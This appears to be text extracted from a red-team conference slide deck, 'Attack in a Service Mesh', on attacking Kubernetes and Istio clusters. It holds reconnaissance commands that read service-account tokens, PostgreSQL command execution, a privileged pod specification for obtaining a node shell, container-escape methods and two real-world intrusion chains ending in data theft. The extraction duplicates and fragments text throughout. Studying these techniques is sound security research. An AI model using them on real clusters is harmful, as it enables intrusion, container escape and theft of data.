neargle-騰訊- 服務網格中的攻擊 - Public（37頁）.pdf

1、姓名姓名Neargle 騰訊藍軍高級研究員Attack in a Service MeshAttack in a Service MeshAboutAboutsecurity/force/About NeargleAbout Neargle騰訊藍軍騰訊藍軍 高高級級安全研究安全研究員員騰訊騰訊安全平臺部安全平臺部 安全工程安全工程師師 expectation would be,90%of Kubernetes users use Istio two years from now.You could argue the value you get from Istio is larger tha

2、n Kubernetes.Google Cloud CTO Urs HlzleTHANKSTHANKS幾十萬幾十萬級級 K8S 容器母機容器母機節節點點(截止到截止到12月初月初統計統計 kubelet 節節點數量點數量)內外部云原生內外部云原生產產品：品：TKE 容器服務藍盾 DevOpsTKE Mesh 服務網格tRPC 服務治理網關/邊緣/檢測/觀察/日志/名字服務等最復最復雜雜的多租的多租戶戶容器集群容器集群：.安全服務容器運行時流量監控紅藍對抗安全研究 等云原生容器集群安全演習的目標和模型演習之前，確認目標演習之前，確認目標AD域控制器（Domain Controller）.Agen

3、t Master、發布平臺、自動化運維管控、跳板機、堡壘機.紅隊紅隊眼中的眼中的 Kubernetes APIServer:容器編排K8S總控組件pods,services,secrets,serviceaccounts,bindings,componentstatuses,configmaps,endpoints,events,limitranges,namespaces,nodes,persistentvolumeclaims,persistentvolumes,podtemplates,replicationcontrollers,resourcequotas.可控以上所有 k8s 資源

4、可獲取幾乎所有容器的交互式 shell利用一定技巧可獲取所有容器母機的交互式 shell一般模型一般模型Node A其他節點入口Pod其他Pod入口容器其他容器Service BSKubernetes APIServer相鄰Pod相鄰容器ETCD/MasterNode/DashBorad/Image Registry.1)Public Network to container2)Container to other containers3)Container to current host(escape)4)Container to other nodes5)Container to apis

5、erver6)Node host to apiserver7)Node to master nodeExploit a RCE in container is hardExploit a RCE in container is hard1.任意文件代碼寫入的利用難度提升.No running/usr/sbin/cron-fNo running/usr/sbin/sshd-D.2.獲取的Shell可能在生命周期受限的 serverless 環境.3.集群內的網絡控制更加容易和智能(networkpolicy/service mesh)出網需求減少的生產環境，出網率 4/1加劇反序列化的利用難度，

6、多個gadget失效服務級、細粒度、多維度的網絡管控和治理4.Bind shell、bind proxy、port knocking 等技巧不再有效But in the containerBut in the containerpostgres=#COPY cmd_exec FROM PROGRAM ps auxf;postgres=#COPY cmd_exec FROM PROGRAM cat/proc/1/cgroup;postgres=#SELECT*FROM cmd_exec;cmd_output-USER PID%CPU%MEM VSZ RSS TTY STAT START TIME

7、 COMMANDpostgres 1 0.0 0.1 288240 18004?Ss 10:42 0:00 postgrespostgres 52 0.0 0.0 288240 3588?Ss 10:42 0:00 postgres:checkpointer processpostgres 53 0.0 0.0 288240 3332?Ss 10:42 0:00 postgres:writer processpostgres 54 0.0 0.0 288240 6240?Ss 10:42 0:00 postgres:wal writer processpostgres 55 0.0 0.0 2

8、88652 2928?Ss 10:42 0:00 postgres:autovacuum launcher processpostgres 56 0.0 0.0 143164 2016?Ss 10:42 0:00 postgres:stats collector processpostgres 707 0.0 0.0 289264 6804?Ss 15:26 0:00 postgres:postgres postgres 127.0.0.1(48187)COPYpostgres 708 0.0 0.0 4268 624?S 15:26 0:00 _ sh-c ps auxpostgres 70

9、9 0.0 0.0 38296 1628?R 15:26 0:00 _ ps auxf12:hugetlb:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa11:pids:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a57

10、0c6d33a0aa9:cpuset:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa.(23 rows)容器進程一個、等資源受限的普通進程In KubernetesIn Kubernetes#env|grep KUBEKUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_ADDR=10.96.0.1KUBERNETES_PORT=tcp

11、:/10.96.0.1:443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP=tcp:/10.96.0.1:443KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_HOST=10.96.0.1#ls-l/run/secrets/kubernetes.io/serviceaccounttotal 0lrwxrwxrwx 1 root root 13 Sep 15 10:42 ca.crt-.data/ca.crtlrwxrwx

12、rwx 1 root root 16 Sep 15 10:42 namespace-.data/namespacelrwxrwxrwx 1 root root 12 Sep 15 10:42 token-.data/token#cat/etc/mtab|grep kubetmpfs/run/secrets/kubernetes.io/serviceaccount tmpfs ro,relatime 0 0ps auxls-l.dockerenvcapsh-printenv|grep KUBEcat/proc/1/cgroupls-l/run/secrets/kubernetes.io/moun

13、tdf-hcat/etc/resolv.confand so on.K8S Default network access?K8S Default network access?Node ANode BPod A1Pod B1Container ACContainer BCService ASService BSPublic NetworkK8S Default IP distribution rules?K8S Default IP distribution rules?Node ANode BPod A1Pod B1Container ACContainer BCService ASServ

14、ice BSPublic NetworkpodSubnet/-cluster-cidrNAMESPACE IPdefault 172.17.0.12default 172.17.0.3 default 172.17.0.4 default 172.17.0.5 Except kube-systemserviceSubnet/-service-cluster-ip-rang=10.96.0.0/1210.102.14.42,10.104.112.52.Scan in istio?Scan in istio?masscan 172.17.0.21-p1-1000-rate=500-oX test.

15、xml1000 ports ALL OPENnmap-sV-p1-1000-T4 172.17.0.211000 ports ALL Filtered探測只有兩個端口開放的容器對外掃描也受影響，但情況不一Scan in istio.Scan in istio.Node ANode BPod A1Pod B1Container ACContainer BCService ASService BSistio/proxy APistio/proxy BP內端口掃描最佳實踐 使用探測主機存活，編寫應用層 七層 判斷邏輯判斷端口開放和服務指紋nmap_rename-p 17-iL all_ip_in_k

16、8s.txt-sO-Pn(no work for service)/goistio_scan-iL nmap.outputService&Default DNS RulesService&Default DNS Ruleskubernetes.default.svc.cluster.localforce.tencent.svc.cluster.localServiceNameNameSpaceCluster Domain-cluster-domainDefault Service Default Service name:kubernetes:443name:kubernetes:443-ku

17、bernetes.default-kubernetes.default.svc-kubernetes-kubernetes.default.svc.cluster.local#curl-ik https:/kubernetes.default.svc:443/api/v1/namespaces/default/podsHTTP/2 403content-type:application/jsonx-content-type-options:nosniffcontent-length:310 kind:Status,apiVersion:v1,metadata:,details:kind:pod

18、s ,code:403 apiVersion:v1kind:Servicemetadata:name:kubernetes namespace:default resourceVersion:158 selfLink:/api/v1/namespaces/default/services/kubernetes uid:70527494-8a2f-4909-8a96-dd91997f4925spec:clusterIP:10.96.0.1 ports:-name:https port:443 protocol:TCP targetPort:8443 sessionAffinity:None ty

19、pe:ClusterIPstatus:loadBalancer:Default Service Default Service name:kubernetes:443name:kubernetes:443.spec:clusterIP:10.96.0.1 ports:-name:https port:443 protocol:TCP targetPort:8443 sessionAffinity:None type:ClusterIPstatus:loadBalancer:.curl-ik https:/kubernetes.default:443/curl-ik https:/apiserv

20、er:8443/Just get the certificate or token to endingTry serviceaccount/run/secrets/kubernetes.io/serviceaccountI am in“Default”namespapcenslookup kubernetesnslookup kubernetes.defaultPort scan is not so usefulservice accountdefault servicekubectl get pods-o wideNAMESPACE NAME READY STATUS RESTARTS AG

21、E IP .default neargle-v1-79c697d759-cqk2g 2/2 Running 0 95m 172.17.0.12 .Where(Where(Pod/Namespace/ClusterPod/Namespace/Cluster)am i?)am i?cat/etc/resolv.confnameserver 10.96.0.10search default.svc.cluster.local svc.cluster.local cluster.localoptions ndots:5hostnametencent-force-pentest-for-all-test

22、-not-hostnetworknslookup testdomainServer:10.96.0.10Address:10.96.0.10:53*find testdomain.cluster.local:NXDOMAIN*find testdomain.default.svc.cluster.local:NXDOMAINWhere am i(in istio)?Where am i(in istio)?$curl-sv *Trying 45.xx.49:80.*Connected to (45.xx.49)port 80(#0)GET/HTTP/1.1 Host: User-Agent:c

23、url/7.69.1 Accept:*/*HTTP/1.1 200 OK content-type:text/plain date:Tue,13 Oct 2020 06:39:36 GMT server:envoy content-length:12 x-envoy-upstream-service-time:117Where am i(in istio)?/istio in ZoomeyeWhere am i(in istio)?/istio in Zoomeyex-forwarded-proto:httpx-request-id:8df5ed42-e10d-9af8-8eaa-5d3151

24、8260dex-envoy-peer-metadata:CiIKDkFQUF9DT05UQUlORVJT.w=x-envoy-peer-metadata-id:sidecar172.17.0.18tencent-force-pentest-for-all-test-not-hostnetwork.defaultdefault.svc.cluster.localAPP_CONTAINERS:test-containerCLUSTER_ID:KubernetesISTIO_VERSION:1.8.1LABELS:istio.io/rev:default security.istio.io/tlsM

25、ode:istio service.istio.io/canonical-name:tencent-force-pentest-for-all-test-not-hostnetwork-alpine service.istio.io/canonical-revision:latestMeshID:cluster.localPODNAME:tencent-force-pentest-for-all-test-not-hostnetworkNAMESPACE:defaultISTIO_META_OWNER:kubernetes:/apis/v1/namespaces/default/pods/te

26、ncent-force-pentest-for-all-test-not-hostnetworkPLATFORM_METADATA:tencent-force-pentest-for-all-test-not-hostnetworkWhere am i(in istio)?Where am i(in istio)?Where am i(in istio)?Where am i(in istio)?HTTPTCPLabels 標簽標簽信息信息NameSpace/PODNAME/IP/ContainerNames ServiceAccountTLSServerCertChain/TLSServer

27、Key/TLSServerRootCert/TLSClientCertChain/TLSClientKey.PodPortsUnprivilegedPod What to attack(in istio)?What to attack(in istio)?API GateWayLabel PrivilegedOther ServiceAcount.Servicein NodeUnauth API Service in K8SWhat to attack：Label PrivilegedWhat to attack：Label PrivilegedLabel Privileged(+podnam

28、e/ContainerNames.):存在特殊存在特殊 Host*、securityContext、volume配置，可配置，可導導致容器逃逸的致容器逃逸的PODContainer Escaping:privileged 容器掛載宿主機根目錄/，/etc/，/proc 等目錄到容器內部利用暴露的 docker.sock、deamon api、kube-apiserver、kubelet api、etcd.利用 sys_admin（包含 sys_ptrace）等docker,runc,containerd 等組件歷史逃逸漏洞linux 內核提權漏洞利用 node agent 的漏洞對對抗：抗：不

29、要將逃逸的行為當成寫入宿主機特定文件(/etc/cron*,/root/.ssh/authorized_keys.)的行為，應該根據目標選擇更趨近與業務行為的手法。以目以目標標“獲獲取宿主機上的配置文件取宿主機上的配置文件”為為例，手法的例，手法的隱隱蔽性上蔽性上(注：部分典型手法注：部分典型手法舉舉例，不同的例，不同的EDR情況不同情況不同)：mount/ect+write crontab mount/root/.ssh+write authorized_keys old CVE/vulnerability exploit write cgroup notify_on_release wri

30、te procfs core_pattern volumeMounts:/+chroot remount and rewrite cgroup apiserver4.apiserver-(http)-kubelet rest api5.kubelet-(http/docker.sock)-docker apikubelet*:10250(10255 read-only)dockerd*:2375K8S dashboard*:30000kubectl proxy-accept-hosts=.*$-address=0.0.0.0*:8001kube-apiserver*:8080/6443ETCD

31、*:2379API GateWay：What to attack?API GateWay：What to attack?Cloud-NativeAPI GateWayflexibilitydynamicremote config開源云原生開源云原生API網關網關產產品品TOP列列舉舉：-Kong Admin API unauthentication-APISIXs Admin API default access-Tyk default secret-Goku-api-gateway default/weak password-.收集、掌控和劫持云原生集群所管理的南北流量，以此摸清和控制集群收

32、集、掌控和劫持云原生集群所管理的南北流量，以此摸清和控制集群對對外外/對對內能力，部分內能力，部分場場景可以景可以獲獲取取API網關的網關的Shell。對對攻防更重要的是，攻防更重要的是，獲獲取集群的取集群的 API 網關可以打通網網關可以打通網絡絡隔離的限制，隔離的限制，獲獲得入網和出網的口子。得入網和出網的口子。Service in Node：What to attack(in istio)?Service in Node：What to attack(in istio)?云原生場景下的權限維持與安全策略對抗技巧云原生場景下的權限維持與安全策略對抗技巧受控惡意容器靜態惡意文件對抗惡意鏡像植

33、入+單體大文件木馬持久化restartPolicy:Always云鏡像倉庫/Image Registry穿越網絡限制傳輸文件流量層策略對抗SSL加密/SideCar 流量邏輯解耦 hostPID:true hostIPC:true hostNetwork:true containers:-name:trpc image:alpine securityContext:privileged:true capabilities:add:-SYS_ADMIN command:/bin/sh,-c,tail-f/dev/null通過 APIServer 獲取 NODE 的 SHELL通過 APIServ

34、er 獲取 NODE 的 SHELLvolumeMounts:-name:dev mountPath:/host/dev -name:proc mountPath:/host/proc -name:sys mountPath:/host/sys -name:rootfs mountPath:/grpc_sandbox volumes:-name:proc hostPath:path:/proc -name:dev hostPath:path:/dev -name:sys hostPath:path:/sys -name:rootfs hostPath:path:/獲獲取取 Node 的的 Sh

35、ell1)實際場景只需選擇所需的權限進行創建2)nodeSelector:kubernetes.io/hostname:9.208.3.47 3)利用 kubectl websocket 的 shell 再 chroot 即可獲取 node 節點無限制的 shell.紅隊攻擊案例列舉RealWorld CASE 1（關鍵路徑）RealWorld CASE 1（關鍵路徑）目目標標概述：從外網通概述：從外網通過過服服務務持持續續滲透，滲透，獲獲取內網云原生集群控制取內網云原生集群控制權權限，并成限，并成為為企企業業HR系系統統的管理的管理員員。繞過 VPN+外網零信任網關雙層外網防護(網絡限制能力

36、從網絡層遷移到應用層導致的應用代理實現風險)內網辦公系統的命令注入基于K8S自建無服務云函數容器引擎sys_admin 容器訪問母機文件K8S節點自建 docker.sock proxy websocket 代理 agent(webbash 調試需求)Agent 反編譯docker container 短 ID 猜解任意容器控制關鍵LOG容器逃逸strace 獲取 nginx 內的管理員 cookieservice 未鑒權外網容器其他容器節點權限RealWorld CASE 2（關鍵路徑）RealWorld CASE 2（關鍵路徑）目目標標概述：從外網通概述：從外網通過過服服務務持持續續滲透，滲透，獲獲取內網云原生集群控制取內網云原生集群控制權權限，并登限，并登錄錄到核心加密數據到核心加密數據庫進庫進行數據竊取。行數據竊取。復雜隱蔽的業務集群七層代理進入集群內部：外網域外網域/pass/內網內網URL服務網格內的信息收集ES LOG 信息泄露獲取云 API KEY外網容器集群權限LOG+Flink Dashborad RCEAPI KEY 修改托管模式下的 APISERVER 的安全訪問限制，并開放外網，獲取 kubeconfig無監控無限制/流量加密的任意容器交互式 Shell上傳純 BIN 單文件 SQL 工具集控制關鍵數據庫THANKS